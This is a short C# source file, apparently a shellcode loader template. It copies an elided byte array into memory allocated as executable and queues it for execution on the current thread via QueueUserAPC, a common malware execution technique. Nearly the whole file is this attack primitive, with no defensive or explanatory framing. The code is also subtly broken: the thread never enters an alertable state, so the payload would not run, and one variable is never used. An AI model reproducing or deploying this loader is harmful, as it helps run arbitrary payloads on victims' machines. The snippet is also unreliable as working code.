QueueUserAPC!Main.cs

static void Main(string[] args) {
    byte[] sc = {...};
    IntPtr resultPtr = VirtualAlloc(0, sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    IntPtr bytesWritten = IntPtr.Zero;
    Marshal.Copy(sc, 0, resultPtr, sc.Length);
    IntPtr ptr = QueueUserAPC(resultPtr, GetCurrentThread(), IntPtr.Zero);
    Console.WriteLine("Goodbye");
}